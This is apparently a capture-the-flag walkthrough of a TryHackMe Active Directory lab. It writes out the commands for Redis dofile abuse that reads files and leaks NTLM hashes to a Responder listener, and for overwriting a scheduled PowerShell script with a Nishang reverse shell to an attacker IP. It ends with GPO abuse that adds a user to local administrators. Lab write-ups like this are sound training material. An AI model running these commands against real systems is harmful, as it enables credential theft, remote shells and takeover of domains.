# Active Directory Enumeration & Exploitation

### **Enumeration**

This room on tryhackme is all about active directory and domain controller. So let's begin our machine with Nmap scanning.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728263188/18632311-c0ca-4ff1-adb1-b25ce97e8a62.jpeg align="left")

Every domain controller services are up and running which is part of AD DC. But `Kerberos` is not running so we can not [AS-REP](https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/asreproast) roasting the usernames to check if they are valid.

I ran the Nmap to scan all ports.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728285969/9b3e1ead-e0b1-44ed-918f-97a15b54605e.jpeg align="left")

Here many ports are open so it is always beneficial to check for all ports. RPC and LDAP services are also running, Smb is a very good option to start with and I did the same.

### **SMB port 445 enumeration**

But unfortunately, we got access denied for every possible command of `smbclient, smbmap, and netexec` to enumerate users' share on smb port 445.

It confirms that no guest and a null session are allowed.

### **Redis exploitation**

But my eyes got on to port 6379 (Redis). I was unaware of this but [hacktricks](https://book.hacktricks.xyz/network-services-pentesting/6379-pentesting-redis) are always a good option to search for anything.

Redis is a No-sql database that stores information alongside key-value called keyspaces. The version of Redis key-value store 2.8.2402 is vulnerable to ssrf + CRLF.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728310116/0823d037-f8e9-466a-95dc-c1b858b056fe.jpeg align="left")

Here we can exploit Redis via ssrf, but we must know the path to the windows server files

```plaintext
redis-cli -h 10.10.245.19 eval "dofile('C:\\\Users\\\enterprise-security\\\Desktop\\\users.txt')" 0
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728319236/f18d3740-5650-48b8-af75-daa829deef43.jpeg align="left")

we got the users.txt flag. If we can get any files why not exploit further to get Authenticated user's NTLM hash? If we forge redis to connect back to our attacking machine, maybe users' hashes will be exposed.

I set up the responder from impacket, when users from the Redis server try to connect to our machine responder will log the hashes.

```plaintext
sudo responder -I 10.9.0.31
```

```plaintext
redis-cli -h 10.10.245.19 eval "dofile('//10.9.0.31/test')" 0
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728341394/1714046b-dacf-4434-ba31-69a44a5814ca.jpeg align="left")

Since we got the user enterprise-security hash, we cracked with john the ripper and got the password.

### **SMB port 445 enumerations 2nd round**

We have now a username and password, so we can enumerate allowed shares on smbserver. I tried to log into enterprise-Share on smb and successfully logged in.

```plaintext
smbmap -H 10.10.155.156 -u enterprise-security -p pass
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728360987/b11fd4e9-e747-47cb-a405-f4e1402b1c34.jpeg align="left")

```plaintext
smbclient //10.10.155.156/enterprise-share -U 'enterprise-security' pass
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728368362/9eb80d7b-830f-4abd-b485-165d8c8a6f3b.jpeg align="left")

There is a Powershell script scheduled to run, PurgeIrrelevantData\_1826.ps1 with content.

```plaintext
rm -Force C:\Users\Public\Documents\* -ErrorAction SilentlyContinue
```

Maybe we can replace this script with a reverse shell. We do have written permission for this share.

### **Initial foothold**

We use [Nishang](https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1) reverse shell to replace PurgeIrrelevantData\_1826.ps1 and put it on the smb server overriding the same file and setting up Netcat listener to catch the shell.

Add this line to the bottom of the script and wait for netcat to catch the shell.

```plaintext
Invoke-PowerShellTcp -Reverse -IPAddress 10.9.0.31 -Port 4444
```

```plaintext
nc -lvnp 4444
```

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728381778/b870f5f5-2e31-4c8d-8b6f-9099f2b54960.jpeg align="left")

Finally, we got reverse shell as enterprise security for the windows server.

### **Privilege Escalation**

When I get the foothold on the machine, I always start with winPEAS.exe and it does give me some useful information which is SeImpersonatePrivilege.

I collect domain info with bloodhound-python and upload it to the bloodhound for analyzing users, groups, and domains.

![](https://cdn.hashnode.com/res/hashnode/image/upload/v1752728394290/eb0bdbce-8a24-4314-a9de-9c1c309a7ddf.jpeg align="left")

Here is the shortest path to the admin where we will be abusing one of the `GPO(group policy object)` on which we can edit users' permission, local groups, memberships, and computer tasks.

We use `SharpGPOAbuse.exe` to escalate our privilege.

```plaintext
./SharpGPOAbuse.exe AddComputerTask TaskName "babbadeckl_privesc" Author vulnnet\administrator Command "cmd.exe" Arguments "/c net localgroup administrators enterprise-security /add" GPOName "SECURITY-POL-VN"
```

```plaintext
gpupdate /force
```

We can access admin via smbclient.

```plaintext
smbclient //10.10.56.175/C$ -U 'enterprise-security' sand_………...
```